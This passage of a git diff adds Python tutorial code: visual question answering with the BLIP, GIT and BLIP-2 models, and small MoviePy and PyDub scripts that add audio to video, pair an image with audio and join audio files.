+ " # get the vision outputs (i.e., the image embeds)\n",
+ " vision_outputs = self.vision_model(pixel_values=pixel_values)\n",
+ " img_embeds = vision_outputs[0]\n",
+ "\n",
+ " # create attention mask with 1s on all the image embedding positions\n",
+ " img_attention_mask = torch.ones(img_embeds.size()[: -1], dtype=torch.long)\n",
+ "\n",
+ " # encode the questions\n",
+ " question_outputs = self.text_encoder(input_ids=input_ids,\n",
+ " attention_mask=attention_mask,\n",
+ " encoder_hidden_states=img_embeds,\n",
+ " encoder_attention_mask=img_attention_mask,\n",
+ " return_dict=False)\n",
+ "\n",
+ " # create attention mask with 1s on all the question token IDs positions\n",
+ " question_embeds = question_outputs[0]\n",
+ " question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long)\n",
+ "\n",
+ " # initialize the answers with the beginning-of-sentence IDs (bos ID)\n",
+ " bos_ids = torch.full((question_embeds.size(0), 1), fill_value=30522)\n",
+ "\n",
+ " # get output from the decoder. These outputs are the generated IDs\n",
+ " outputs = self.text_decoder.generate(\n",
+ " input_ids=bos_ids,\n",
+ " eos_token_id=102,\n",
+ " pad_token_id=0,\n",
+ " encoder_hidden_states=question_embeds,\n",
+ " encoder_attention_mask=question_attention_mask)\n",
+ "\n",
+ " return outputs\n",
+ "\n",
+ "\n",
+ " def postprocess(self, outputs):\n",
+ " \"\"\"post-process the output generated by the text-decoder\"\"\"\n",
+ "\n",
+ " return self.processor.decode(outputs[0], skip_special_tokens=True)\n",
+ "\n",
+ "\n",
+ " def get_answer(self, image, ques):\n",
+ " \"\"\"Returns human friendly answer to a question\"\"\"\n",
+ "\n",
+ " # preprocess\n",
+ " pixel_values, input_ids, attention_mask = self.preprocess(image, ques)\n",
+ " # generate output\n",
+ " outputs = self.generate_output(pixel_values, input_ids, attention_mask)\n",
+ " # post-process\n",
+ " answer = self.postprocess(outputs)\n",
+ " return answer"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "WBxppK89bhZP"
+ },
+ "outputs": [],
+ "source": [
+ "blip_vqa = BLIP_VQA(vision_model=model.vision_model,\n",
+ " text_encoder=model.text_encoder,\n",
+ " text_decoder=model.text_decoder,\n",
+ " processor=processor)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "YyASdKlAbhbm",
+ "outputId": "060fd21d-2042-418e-88de-e87f4561671d"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 1\n",
+ "ques = \"how will you describe the picture?\"\n",
+ "print(blip_vqa.get_answer(image, ques))\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 217
+ },
+ "id": "BOErJNo1tG6-",
+ "outputId": "25b06783-738f-476e-b952-4d8e38e5aa7c"
+ },
+ "outputs": [],
+ "source": [
+ "# load another image to test BLIP\n",
+ "img_url = \"https://fastly.picsum.photos/id/11/200/200.jpg?hmac=LBGO0uEpEmAVS8NeUXMqxcIdHGIcu0JiOb5DJr4mtUI\"\n",
+ "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+ "image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "6c4X6eI4tG9N",
+ "outputId": "1c7c03d6-28c6-4cc3-9b30-4406410f5492"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 1\n",
+ "ques = \"Describe the picture\"\n",
+ "print(blip_vqa.get_answer(image, ques))\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "5fpA0TbVtHAq",
+ "outputId": "47ea2820-9ea0-4bf4-b9b7-45941b32ffbb"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 2\n",
+ "ques = \"What is the major color present?\"\n",
+ "print(blip_vqa.get_answer(image, ques))\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "5dEIccqnr-uF",
+ "outputId": "7816af8c-83f6-4fe8-e968-365ec732bd92"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 3\n",
+ "ques = \"How's the weather?\"\n",
+ "print(blip_vqa.get_answer(image, ques))"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "73gvmX-Tbk-s"
+ },
+ "source": [
+ "# GIT"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "7EwQAOq-cLH-"
+ },
+ "source": [
+ "- https://github.com/huggingface/transformers/blob/main/src/transformers/models/git/modeling_git.py\n",
+ "- https://huggingface.co/microsoft/git-base-textvqa"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "c4Lf7_G5bhju"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install -qU transformers"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "qY1xeL1oa86Y"
+ },
+ "outputs": [],
+ "source": [
+ "from transformers import AutoProcessor, AutoModelForCausalLM\n",
+ "from huggingface_hub import hf_hub_download\n",
+ "from PIL import Image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 593,
+ "referenced_widgets": [
+ "7a2e3aab0a244cf099002a6064b5ce42",
+ "f58b27200af24c2eb76751b0bff84928",
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+ ]
+ },
+ "id": "AgLuCbEyboLn",
+ "outputId": "5c14f355-95aa-4eaa-d3e4-524ff497a27c"
+ },
+ "outputs": [],
+ "source": [
+ "# load the image we will test GIT on\n",
+ "file_path = hf_hub_download(repo_id=\"nielsr/textvqa-sample\", filename=\"bus.png\", repo_type=\"dataset\")\n",
+ "image = Image.open(file_path).convert(\"RGB\")\n",
+ "image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 273,
+ "referenced_widgets": [
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+ ]
+ },
+ "id": "Xyze2yuFl7UD",
+ "outputId": "6373ea3f-9076-45cf-c319-74af872647b9"
+ },
+ "outputs": [],
+ "source": [
+ "# load necessary components: the processor and the model\n",
+ "processor = AutoProcessor.from_pretrained(\"microsoft/git-base-textvqa\")\n",
+ "model = AutoModelForCausalLM.from_pretrained(\"microsoft/git-base-textvqa\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "PoP6txfhmPI9"
+ },
+ "outputs": [],
+ "source": [
+ "class GIT_VQA:\n",
+ " \"\"\"Custom implementation of the GIT model for Visual Question Answering (VQA) tasks.\"\"\"\n",
+ "\n",
+ " def __init__(self, model, processor):\n",
+ " \"\"\"Initializes the model and the processor.\"\"\"\n",
+ " self.model = model\n",
+ " self.processor = processor\n",
+ " return\n",
+ "\n",
+ "\n",
+ " def preprocess(self, image, question):\n",
+ " \"\"\"Preprocesses the inputs: image, question\"\"\"\n",
+ " # process the image to get pixel values\n",
+ " pixel_values = self.processor(images=image, return_tensors=\"pt\").pixel_values\n",
+ "\n",
+ " # process the question to get input IDs, but do not add special tokens\n",
+ " input_ids = self.processor(text=question, add_special_tokens=False).input_ids\n",
+ "\n",
+ " # add the CLS token at the beginning of the input_ids and format for model input\n",
+ " input_ids = [self.processor.tokenizer.cls_token_id] + input_ids\n",
+ " input_ids = torch.tensor(input_ids).unsqueeze(0)\n",
+ "\n",
+ " return pixel_values, input_ids\n",
+ "\n",
+ "\n",
+ " def generate(self, pixel_values, input_ids):\n",
+ " \"\"\"Generates the output from the preprocessed inputs.\"\"\"\n",
+ "\n",
+ " # generate output using the model with a maximum length of 50 tokens\n",
+ " outputs = self.model.generate(pixel_values=pixel_values, input_ids=input_ids, max_length=50)\n",
+ " return outputs\n",
+ "\n",
+ "\n",
+ " def postprocess(self, outputs):\n",
+ " \"\"\"Post-processes the output generated by the model.\"\"\"\n",
+ "\n",
+ " # decode the output, ignoring special tokens\n",
+ " answer = self.processor.batch_decode(outputs, skip_special_tokens=True)\n",
+ " return answer\n",
+ "\n",
+ "\n",
+ " def get_answer(self, image, question):\n",
+ " \"\"\"Returns human friendly answer to a question\"\"\"\n",
+ "\n",
+ " # preprocess\n",
+ " pixel_values, input_ids = self.preprocess(image, question)\n",
+ " # generate output\n",
+ " outputs = self.generate(pixel_values, input_ids)\n",
+ " # post-process\n",
+ " answer = self.postprocess(outputs)\n",
+ " return answer"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "YXXaDaQZqpen"
+ },
+ "outputs": [],
+ "source": [
+ "# create a GIT instance\n",
+ "git_vqa = GIT_VQA(model=model, processor=processor)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "9HT3VFLsboQE",
+ "outputId": "5f5e7a77-a40f-448d-84e3-d3bbfe594eb8"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 1\n",
+ "question = \"what does the front of the bus say at the top?\"\n",
+ "answer = git_vqa.get_answer(image, question)\n",
+ "print(answer)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Lcj5yO2sboT2",
+ "outputId": "65301084-2148-402f-c641-8bd774e5308c"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 2\n",
+ "question = \"what are all the colors present on the bus?\"\n",
+ "answer = git_vqa.get_answer(image, question)\n",
+ "print(answer)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "PBqTU4qwboXV",
+ "outputId": "a36cf954-da7c-42d6-a1ef-179058fc0270"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 3\n",
+ "question = \"How many wheels you see in the bus?\"\n",
+ "answer = git_vqa.get_answer(image, question)\n",
+ "print(answer)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 517
+ },
+ "id": "cBdRCN28b4FQ",
+ "outputId": "22a64008-64c7-439c-ad3f-2c4a4295dba0"
+ },
+ "outputs": [],
+ "source": [
+ "# load another image to test BLIP\n",
+ "img_url = \"https://fastly.picsum.photos/id/110/500/500.jpg?hmac=wSHhLFNyJ6k3uM94s6etGQ0WWhmwbdUSiZ9ZDL5Hh2Q\"\n",
+ "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+ "image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "-CD02X_ub4Ho",
+ "outputId": "74fe9c3f-3e1d-4627-9fd0-c8cf166e4942"
+ },
+ "outputs": [],
+ "source": [
+ "# sample question 1\n",
+ "question = \"Is it night in the image?\"\n",
+ "answer = git_vqa.get_answer(image, question)\n",
+ "print(answer)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "uK_KAVyEb4LC"
+ },
+ "outputs": [],
+ "source": []
+ }
+ ],
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+ "accelerator": "GPU",
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diff --git a/machine-learning/visual-question-answering/requirements.txt b/machine-learning/visual-question-answering/requirements.txt
new file mode 100644
index 00000000..d1fbebb0
--- /dev/null
+++ b/machine-learning/visual-question-answering/requirements.txt
@@ -0,0 +1,6 @@
+torch
+transformers
+accelerate
+scipy
+requests
+Pillow
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/running_blip2.py b/machine-learning/visual-question-answering/running_blip2.py
new file mode 100644
index 00000000..2feda202
--- /dev/null
+++ b/machine-learning/visual-question-answering/running_blip2.py
@@ -0,0 +1,78 @@
+# %%
+!pip install transformers accelerate
+
+# %%
+import requests
+from PIL import Image
+from transformers import Blip2Processor, Blip2ForConditionalGeneration
+import torch
+import os
+
+device = torch.device("cuda", 0)
+device
+
+# %%
+processor = Blip2Processor.from_pretrained("Salesforce/blip2-opt-2.7b")
+model = Blip2ForConditionalGeneration.from_pretrained("Salesforce/blip2-opt-2.7b", torch_dtype=torch.float16)
+
+# %%
+model.to(device)
+
+# %%
+import urllib.parse as parse
+import os
+
+# a function to determine whether a string is a URL or not
+def is_url(https://github.com/string):
+ try:
+ result = parse.urlparse(string)
+ return all([result.scheme, result.netloc, result.path])
+ except:
+ return False
+
+# a function to load an image
+def load_image(image_path):
+ if is_url(https://github.com/image_path):
+ return Image.open(requests.get(image_path, stream=True).raw)
+ elif os.path.exists(image_path):
+ return Image.open(image_path)
+
+# %%
+raw_image = load_image("http://images.cocodataset.org/test-stuff2017/000000007226.jpg")
+
+# %%
+question = "a"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "a vintage car driving down a street"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "Question: What is the estimated year of these cars? Answer:"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "Question: What is the color of the car? Answer:"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+
+
+
diff --git a/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py b/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py
new file mode 100644
index 00000000..b177ef4e
--- /dev/null
+++ b/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py
@@ -0,0 +1,262 @@
+# -*- coding: utf-8 -*-
+"""VisualQuestionAnswering_PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1dM89DgL_hg4K3uiKnTQ-p8rtS05wH_fX
+"""
+
+!pip install -qU transformers
+
+"""# BLIP
+
+- https://github.com/huggingface/transformers/blob/main/src/transformers/models/blip/modeling_blip.py
+- https://huggingface.co/Salesforce/blip-vqa-base/tree/main
+"""
+
+import requests
+from PIL import Image
+from transformers import BlipProcessor, BlipForQuestionAnswering
+import torch
+
+# load the image we will test BLIP on
+img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# load necessary components: the processor and the model
+processor = BlipProcessor.from_pretrained("Salesforce/blip-vqa-base")
+model = BlipForQuestionAnswering.from_pretrained("Salesforce/blip-vqa-base")
+
+def get_answer_blip(model, processor, image, question):
+ """Answers the given question and handles all the preprocessing and postprocessing steps"""
+ # preprocess the given image and question
+ inputs = processor(image, question, return_tensors="pt")
+ # generate the answer (get output)
+ out = model.generate(**inputs)
+ # post-process the output to get human friendly english text
+ print(processor.decode(out[0], skip_special_tokens=True))
+ return
+
+# sample question 1
+question = "how many dogs are in the picture?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 2
+question = "how will you describe the picture?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 3
+question = "where are they?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 4
+question = "What are they doing?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 5
+question = "What the dog is wearing?"
+get_answer_blip(model, processor, image, question)
+
+class BLIP_VQA:
+ """Custom implementation of the BLIP model. The code has been adapted from the official transformers implementation"""
+
+ def __init__(self, vision_model, text_encoder, text_decoder, processor):
+ """Initialize various objects"""
+ self.vision_model = vision_model
+ self.text_encoder = text_encoder
+ self.text_decoder = text_decoder
+ self.processor = processor
+
+ def preprocess(self, img, ques):
+ """preprocess the inputs: image, question"""
+ # preprocess using the processor
+ inputs = self.processor(img, ques, return_tensors='pt')
+ # store the pixel values of the image, input IDs (i.e., token IDs) of the question and the attention masks separately
+ pixel_values = inputs['pixel_values']
+ input_ids = inputs['input_ids']
+ attention_mask = inputs['attention_mask']
+
+ return pixel_values, input_ids, attention_mask
+
+
+ def generate_output(self, pixel_values, input_ids, attention_mask):
+ """Generates output from the preprocessed input"""
+
+ # get the vision outputs (i.e., the image embeds)
+ vision_outputs = self.vision_model(pixel_values=pixel_values)
+ img_embeds = vision_outputs[0]
+
+ # create attention mask with 1s on all the image embedding positions
+ img_attention_mask = torch.ones(img_embeds.size()[: -1], dtype=torch.long)
+
+ # encode the questions
+ question_outputs = self.text_encoder(input_ids=input_ids,
+ attention_mask=attention_mask,
+ encoder_hidden_states=img_embeds,
+ encoder_attention_mask=img_attention_mask,
+ return_dict=False)
+
+ # create attention mask with 1s on all the question token IDs positions
+ question_embeds = question_outputs[0]
+ question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long)
+
+ # initialize the answers with the beginning-of-sentence IDs (bos ID)
+ bos_ids = torch.full((question_embeds.size(0), 1), fill_value=30522)
+
+ # get output from the decoder. These outputs are the generated IDs
+ outputs = self.text_decoder.generate(
+ input_ids=bos_ids,
+ eos_token_id=102,
+ pad_token_id=0,
+ encoder_hidden_states=question_embeds,
+ encoder_attention_mask=question_attention_mask)
+
+ return outputs
+
+
+ def postprocess(self, outputs):
+ """post-process the output generated by the text-decoder"""
+
+ return self.processor.decode(outputs[0], skip_special_tokens=True)
+
+
+ def get_answer(self, image, ques):
+ """Returns human friendly answer to a question"""
+
+ # preprocess
+ pixel_values, input_ids, attention_mask = self.preprocess(image, ques)
+ # generate output
+ outputs = self.generate_output(pixel_values, input_ids, attention_mask)
+ # post-process
+ answer = self.postprocess(outputs)
+ return answer
+
+blip_vqa = BLIP_VQA(vision_model=model.vision_model,
+ text_encoder=model.text_encoder,
+ text_decoder=model.text_decoder,
+ processor=processor)
+
+# sample question 1
+ques = "how will you describe the picture?"
+print(blip_vqa.get_answer(image, ques))
+
+# load another image to test BLIP
+img_url = "https://fastly.picsum.photos/id/11/200/200.jpg?hmac=LBGO0uEpEmAVS8NeUXMqxcIdHGIcu0JiOb5DJr4mtUI"
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# sample question 1
+ques = "Describe the picture"
+print(blip_vqa.get_answer(image, ques))
+
+# sample question 2
+ques = "What is the major color present?"
+print(blip_vqa.get_answer(image, ques))
+
+# sample question 3
+ques = "How's the weather?"
+print(blip_vqa.get_answer(image, ques))
+
+"""# GIT
+
+- https://github.com/huggingface/transformers/blob/main/src/transformers/models/git/modeling_git.py
+- https://huggingface.co/microsoft/git-base-textvqa
+"""
+
+!pip install -qU transformers
+
+from transformers import AutoProcessor, AutoModelForCausalLM
+from huggingface_hub import hf_hub_download
+from PIL import Image
+
+# load the image we will test GIT on
+file_path = hf_hub_download(repo_id="nielsr/textvqa-sample", filename="bus.png", repo_type="dataset")
+image = Image.open(file_path).convert("RGB")
+image
+
+# load necessary components: the processor and the model
+processor = AutoProcessor.from_pretrained("microsoft/git-base-textvqa")
+model = AutoModelForCausalLM.from_pretrained("microsoft/git-base-textvqa")
+
+class GIT_VQA:
+ """Custom implementation of the GIT model for Visual Question Answering (VQA) tasks."""
+
+ def __init__(self, model, processor):
+ """Initializes the model and the processor."""
+ self.model = model
+ self.processor = processor
+ return
+
+
+ def preprocess(self, image, question):
+ """Preprocesses the inputs: image, question"""
+ # process the image to get pixel values
+ pixel_values = self.processor(images=image, return_tensors="pt").pixel_values
+
+ # process the question to get input IDs, but do not add special tokens
+ input_ids = self.processor(text=question, add_special_tokens=False).input_ids
+
+ # add the CLS token at the beginning of the input_ids and format for model input
+ input_ids = [self.processor.tokenizer.cls_token_id] + input_ids
+ input_ids = torch.tensor(input_ids).unsqueeze(0)
+
+ return pixel_values, input_ids
+
+
+ def generate(self, pixel_values, input_ids):
+ """Generates the output from the preprocessed inputs."""
+
+ # generate output using the model with a maximum length of 50 tokens
+ outputs = self.model.generate(pixel_values=pixel_values, input_ids=input_ids, max_length=50)
+ return outputs
+
+
+ def postprocess(self, outputs):
+ """Post-processes the output generated by the model."""
+
+ # decode the output, ignoring special tokens
+ answer = self.processor.batch_decode(outputs, skip_special_tokens=True)
+ return answer
+
+
+ def get_answer(self, image, question):
+ """Returns human friendly answer to a question"""
+
+ # preprocess
+ pixel_values, input_ids = self.preprocess(image, question)
+ # generate output
+ outputs = self.generate(pixel_values, input_ids)
+ # post-process
+ answer = self.postprocess(outputs)
+ return answer
+
+# create a GIT instance
+git_vqa = GIT_VQA(model=model, processor=processor)
+
+# sample question 1
+question = "what does the front of the bus say at the top?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# sample question 2
+question = "what are all the colors present on the bus?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# sample question 3
+question = "How many wheels you see in the bus?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# load another image to test BLIP
+img_url = "https://fastly.picsum.photos/id/110/500/500.jpg?hmac=wSHhLFNyJ6k3uM94s6etGQ0WWhmwbdUSiZ9ZDL5Hh2Q"
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# sample question 1
+question = "Is it night in the image?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
diff --git a/python-for-multimedia/add-audio-to-video/Directed-by-Robert.mp3 b/python-for-multimedia/add-audio-to-video/Directed-by-Robert.mp3
new file mode 100644
index 00000000..2e0db053
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diff --git a/python-for-multimedia/add-audio-to-video/README.md b/python-for-multimedia/add-audio-to-video/README.md
new file mode 100644
index 00000000..194e7baa
--- /dev/null
+++ b/python-for-multimedia/add-audio-to-video/README.md
@@ -0,0 +1,4 @@
+# [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- `python add_audio_to_video_moviepy.py --help`
\ No newline at end of file
diff --git a/python-for-multimedia/add-audio-to-video/add_audio_to_video_moviepy.py b/python-for-multimedia/add-audio-to-video/add_audio_to_video_moviepy.py
new file mode 100644
index 00000000..d7226423
--- /dev/null
+++ b/python-for-multimedia/add-audio-to-video/add_audio_to_video_moviepy.py
@@ -0,0 +1,42 @@
+from moviepy.editor import VideoFileClip, AudioFileClip, CompositeAudioClip
+import argparse
+
+# make a command-line argument parser & add various parameters
+parser = argparse.ArgumentParser(description="Python script to add audio to video clip")
+parser.add_argument("-v", "--video-file", help="Target video file")
+parser.add_argument("-a", "--audio-file", help="Target audio file to embed with the video")
+parser.add_argument("-s", "--start", help="Start duration of the audio file, default is 0", default=0, type=int)
+parser.add_argument("-e", "--end", help="The end duration of the audio file, default is the length of the video file", type=int)
+parser.add_argument("-c", "--composite", help="Whether to add to the existing audio in the video", action="https://github.com/store_true", default=False)
+parser.add_argument("-f", "--volume-factor", type=float, default=1.0, help="The volume factor to multiply by the volume of the audio file, 1 means no change, below 1 will decrease volume, above will increase.")
+# parse the arguments
+args = parser.parse_args()
+video_file = args.video_file
+audio_file = args.audio_file
+start = args.start
+end = args.end
+composite = args.composite
+volume_factor = args.volume_factor
+# print the passed parameters, just for logging
+print(vars(args))
+# load the video
+video_clip = VideoFileClip(video_file)
+# load the audio
+audio_clip = AudioFileClip(audio_file)
+# use the volume factor to increase/decrease volume
+audio_clip = audio_clip.volumex(volume_factor)
+# if end is not set, use video clip's end
+if not end:
+ end = video_clip.end
+# make sure audio clip is less than video clip in duration
+# setting the start & end of the audio clip to `start` and `end` paramters
+audio_clip = audio_clip.subclip(start, end)
+# composite with the existing audio in the video if composite parameter is set
+if composite:
+ final_audio = CompositeAudioClip([video_clip.audio, audio_clip])
+else:
+ final_audio = audio_clip
+# add the final audio to the video
+final_clip = video_clip.set_audio(final_audio)
+# save the final clip
+final_clip.write_videofile("final.mp4")
\ No newline at end of file
diff --git a/python-for-multimedia/add-audio-to-video/requirements.txt b/python-for-multimedia/add-audio-to-video/requirements.txt
new file mode 100644
index 00000000..c1ecf8a3
--- /dev/null
+++ b/python-for-multimedia/add-audio-to-video/requirements.txt
@@ -0,0 +1 @@
+moviepy
\ No newline at end of file
diff --git a/python-for-multimedia/add-audio-to-video/zoo.mp4 b/python-for-multimedia/add-audio-to-video/zoo.mp4
new file mode 100644
index 00000000..b7dce1d1
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diff --git a/python-for-multimedia/add-photo-to-audio/Directed-by-Robert-B.-Weide-theme.mp3 b/python-for-multimedia/add-photo-to-audio/Directed-by-Robert-B.-Weide-theme.mp3
new file mode 100644
index 00000000..2e0db053
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diff --git a/python-for-multimedia/add-photo-to-audio/README.md b/python-for-multimedia/add-photo-to-audio/README.md
new file mode 100644
index 00000000..b3462bf2
--- /dev/null
+++ b/python-for-multimedia/add-photo-to-audio/README.md
@@ -0,0 +1,3 @@
+# [How to Combine a Static Image with Audio in Python](https://www.thepythoncode.com/article/add-static-image-to-audio-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/python-for-multimedia/add-photo-to-audio/add_photo_to_audio.py b/python-for-multimedia/add-photo-to-audio/add_photo_to_audio.py
new file mode 100644
index 00000000..1255d6d7
--- /dev/null
+++ b/python-for-multimedia/add-photo-to-audio/add_photo_to_audio.py
@@ -0,0 +1,31 @@
+from moviepy.editor import AudioFileClip, ImageClip
+
+
+def add_static_image_to_audio(image_path, audio_path, output_path):
+ """Create and save a video file to `output_path` after
+ combining a static image that is located in `image_path`
+ with an audio file in `audio_path`"""
+ # create the audio clip object
+ audio_clip = AudioFileClip(audio_path)
+ # create the image clip object
+ image_clip = ImageClip(image_path)
+ # use set_audio method from image clip to combine the audio with the image
+ video_clip = image_clip.set_audio(audio_clip)
+ # specify the duration of the new clip to be the duration of the audio clip
+ video_clip.duration = audio_clip.duration
+ # set the FPS to 1
+ video_clip.fps = 1
+ # write the resuling video clip
+ video_clip.write_videofile(output_path)
+
+
+
+
+if __name__ == "__main__":
+ import argparse
+ parser = argparse.ArgumentParser(description="Simple Python script to add a static image to an audio to make a video")
+ parser.add_argument("image", help="The image path")
+ parser.add_argument("audio", help="The audio path")
+ parser.add_argument("output", help="The output video file path")
+ args = parser.parse_args()
+ add_static_image_to_audio(args.image, args.audio, args.output)
\ No newline at end of file
diff --git a/python-for-multimedia/add-photo-to-audio/directed-by-robert-image.jpg b/python-for-multimedia/add-photo-to-audio/directed-by-robert-image.jpg
new file mode 100644
index 00000000..6ae6a86f
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diff --git a/python-for-multimedia/add-photo-to-audio/output.mp4 b/python-for-multimedia/add-photo-to-audio/output.mp4
new file mode 100644
index 00000000..23b1b109
Binary files /dev/null and b/python-for-multimedia/add-photo-to-audio/output.mp4 differ
diff --git a/python-for-multimedia/add-photo-to-audio/requirements.txt b/python-for-multimedia/add-photo-to-audio/requirements.txt
new file mode 100644
index 00000000..c1ecf8a3
--- /dev/null
+++ b/python-for-multimedia/add-photo-to-audio/requirements.txt
@@ -0,0 +1 @@
+moviepy
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/README.md b/python-for-multimedia/combine-audio/README.md
new file mode 100644
index 00000000..37c32998
--- /dev/null
+++ b/python-for-multimedia/combine-audio/README.md
@@ -0,0 +1,4 @@
+# [How to Concatenate Audio Files in Python](https://www.thepythoncode.com/article/concatenate-audio-files-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- There are 3 files, one for each method, check [the tutorial](https://www.thepythoncode.com/article/concatenate-audio-files-in-python) for more info.
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/concatenate_audio_moviepy.py b/python-for-multimedia/combine-audio/concatenate_audio_moviepy.py
new file mode 100644
index 00000000..cdcc09cf
--- /dev/null
+++ b/python-for-multimedia/combine-audio/concatenate_audio_moviepy.py
@@ -0,0 +1,19 @@
+from moviepy.editor import concatenate_audioclips, AudioFileClip
+
+
+def concatenate_audio_moviepy(audio_clip_paths, output_path):
+ """Concatenates several audio files into one audio file using MoviePy
+ and save it to `output_path`. Note that extension (mp3, etc.) must be added to `output_path`"""
+ clips = [AudioFileClip(c) for c in audio_clip_paths]
+ final_clip = concatenate_audioclips(clips)
+ final_clip.write_audiofile(output_path)
+
+
+if __name__ == "__main__":
+ import argparse
+ parser = argparse.ArgumentParser(description="Simple Audio file combiner using MoviePy library in Python")
+ parser.add_argument("-c", "--clips", nargs="+",
+ help="List of audio clip paths")
+ parser.add_argument("-o", "--output", help="The output audio file, extension must be included (such as mp3, etc.)")
+ args = parser.parse_args()
+ concatenate_audio_moviepy(args.clips, args.output)
diff --git a/python-for-multimedia/combine-audio/concatenate_audio_pydub.py b/python-for-multimedia/combine-audio/concatenate_audio_pydub.py
new file mode 100644
index 00000000..359dbefd
--- /dev/null
+++ b/python-for-multimedia/combine-audio/concatenate_audio_pydub.py
@@ -0,0 +1,45 @@
+from pydub import AudioSegment
+from tqdm import tqdm
+import os
+
+
+def concatenate_audio_pydub(audio_clip_paths, output_path, verbose=1):
+ """
+ Concatenates two or more audio files into one audio file using PyDub library
+ and save it to `output_path`. A lot of extensions are supported, more on PyDub's doc.
